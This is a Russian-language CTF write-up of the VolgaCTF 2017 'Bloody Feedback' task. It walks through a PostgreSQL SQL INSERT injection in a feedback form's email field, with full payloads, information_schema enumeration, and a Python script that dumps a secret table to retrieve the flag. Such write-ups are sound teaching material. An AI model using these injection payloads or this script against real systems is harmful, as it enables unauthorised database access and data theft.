Bloody Feedback - VolgaCTF 2017

Второй райтап будет посвящен таску Bloody Feedback за 100 очков.

Сразу к делу!


Bloody Feedback

Send your feedback at bloody-feedback.quals.2017.volgactf.ru

DO. NOT. USE. SQLMAP
Otherwise your IP will be banned



Главная страница:

Bloody Feedback - VolgaCTF 2017

На первый взгляд - обыкновенная форма, используемая в тасках на XSS.

Попробуем что-нибудь отослать (включая email - захватим как можно больше параметров). Я отослал 1234 и получил следующее:

Bloody Feedback - VolgaCTF 2017

Меня перенаправило на данную страницу по адресу /submit/ . Перейдем по полученной ссылке с base64 /check/?code=1Vk1SMnmxo5TAr8KbpIQcL3v8G9QNGto :

Bloody Feedback - VolgaCTF 2017

Можем догадаться, что мы получили бы такой же результат, поместив base64 в данную форму:

Bloody Feedback - VolgaCTF 2017

И для полноты картины - скрин вкладки Top messages ( /messages/ ):

Bloody Feedback - VolgaCTF 2017

Можете заметить, что первый пост является тем, что я запостил в форму фидбека.

То есть все, что мы отсылаем, помещается напрямую в базу данных! Вернемся и попробуем протестировать форму на распространенную SQL иньекцию.

После некоторых попыток заметим, что если в email отослать одинарную кавычку и некоторые другие символы, то вылетает следующая ошибка:

Bloody Feedback - VolgaCTF 2017

Проанализируем:

1. Присутствует SQL injection!

2. По ERROR: DBD::Pg::db становится очевидно, что используется PostgreSQL.

3. Данные идут через запятую + сохраняются в базе данных -> вероятнее всего у нас SQL INSERT Injection.


Начнем раскручивать уязвимость!

Впоследствии следующие запросы были отосланы, используя BurpSuite.

Определим количество колонок:


<<< name=test&message=test&email='),(1)+--+1

>>> INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,[u]email[/u],status)



Вот мы и получили весь запрос. В данном случае в БД вставляются 5 значений (в 4 значении отсутствует фильтрация). Поэтому за основу последующих запросов возьмем следующее:




<<< name=test&message=test&email=','123'),('1','2','3','4','5')+--+1

>>> Check status base64



Далее перейдем по выданной нам base64-ссылке и видим следующее:

Bloody Feedback - VolgaCTF 2017

То есть из бд нам показывается последняя колонка. То есть по логике, если мы в ссылке /check/?code= вместо base64 поставим значение первой колонки (единицы), то должны получить последнюю колонку, то есть '5'. Проверим:

bloody-feedback.quals.2017.volgactf.ru/check/?code=1


Bloody Feedback - VolgaCTF 2017

Странно, что то нам помешало..


Потратив некоторое время на изучение формы стало очевидно, что поиск по коду осуществляется только, если длина строки равна длине предыдущих кодов base64, то есть 32 символам. В доказательство протестим следующий запрос:

name=test&message=test&email=',123),('<random_base64>',2,3,4,5)+--+1


Bloody Feedback - VolgaCTF 2017

Ура, мы смогли вывести последнюю колонку!


Теперь дело за малым. Для начала попробуем вывести версию:


name=test&message=test&email=',123),('<random_base64>',2,3,4,version())+--+1


(Забыл упомянуть - первую колонку нужно все время обновлять т.к. INSERT не перезаписывает значения в базе данных с одним и тем же base64. )

В итоге наблюдаем следующую ошибку:

ERROR: DBD::Pg::db do failed: ERROR:  value too long for type character varying(30) at Worker.pm line 29.


Значит в пятой колонке может храниться строка не длиннее 30 символов.

Немного погуглив, находим функцию SUBSTRING(str, from_index, len) - в нашем случае SUBSTRING( ... , 1, 30 ) и обновим наш запрос:


name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING( version() , 1, 30 ) )+--+1


Bloody Feedback - VolgaCTF 2017

Получилось!

Попытаемся вывести список таблиц, используя данные, взятые из information_schema.tables. Для этого вместо version() поставим SELECT запрос с LIMIT 1 OFFSET X и будем менять индекс Х, отвечающий за вывод соответствующей строки.


<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select table_name from information_schema.tables LIMIT 1 OFFSET 0) , 1, 30 ) )+--+1

>>> Your message status is message


<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select table_name from information_schema.tables LIMIT 1 OFFSET 1) , 1, 30 ) )+--+1

>>> Your message status is s3cret_tabl3



Думаю далее искать не имеет смысла, у нас есть таблица с очень подозрительным названием. Получим ее колонки:

(все это время base64 изменялся последней буквой, знак = закодирован как %3d в связи со стандартами http протокола)


<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select column_name from information_schema.columns WHERE table_name%3d's3cret_tabl3' LIMIT 1 OFFSET 0) , 1, 30 ) )+--+1
>>> Your message status is s3cr3tc0lumn



>>> Your message status is 



Вероятнее всего в данной таблице только одна колонка. Выведем ее содержимое:



<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 0) , 1, 30 ) )+--+1

>>> Your message status is FLAG1


<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 1) , 1, 30 ) )+--+1

>>> Your message status is VolgaCTF


<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 2) , 1, 30 ) )+--+1

>>> Your message status is Volga


<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 3) , 1, 30 ) )+--+1

>>> Your message status is


<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 4) , 1, 30 ) )+--+1


>>> Your message status is VolgaCTF{eiU7UJhyeu@ud3*}



Вот мы и получили флаг!


После этого некоторые могут недоумевать - почему я решил, что после пустой строки пойдут какие-либо данные? Все просто - я автоматизировал процесс, а не перебирал вручную.

Вот мой скрипт, перебирающий колонки на последнем шаге:

import requests,random,string

#генератор случайной строки длиной 32 символа (чтобы не было повторений)
def id_generator(size=32, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):
    return ''.join(random.choice(chars) for _ in range(size))

#начало перебора строк от 0 до 99
for x in range(100):

    #запрос в базу данных для перебора (так же использовал и для information_schema
    i = """select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET """+str(x)

    #получаем строку-замену base64
    rand = id_generator()
    
    #собираем полностью наш запрос в базу данных, учитывая особенности эксплуатации
    s = "1',1),('"+rand+"',12,23,34,(select SUBSTRING(("+i+"),1,30)))+--+1"
    
    #отсылаем собранный пакет
    r = requests.post('http://bloody-feedback.quals.2017.volgactf.ru/submit/',
                  data={'name':'1',
                        'message':'1',
                        'email': s})

    #в случае ошибки SQL синтаксиса выход из программы
    if ('DBD::Pg::db' in r.text):
        print(r.text)
        exit('error')
    
    #иначе переходим на ссылку с результатом и парсим страницу
    else:
        r = requests.get('http://bloody-feedback.quals.2017.volgactf.ru/check/?code='+rand)
        print(r.text.split('Your message status is <span class="label label-info">')[1].split('</span>')[0])

    #вывод номера строки
    print(x)


Пример вывода программы:

Bloody Feedback - VolgaCTF 2017

Это все, cпасибо за внимание!

P.S. Особых проблем с его решением не было - большинство можно было нагуглить!скачать dle 10.5фильмы бесплатно

  • Автор: drakylar
  • Комментарии: 0
  • Просмотры: 827

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!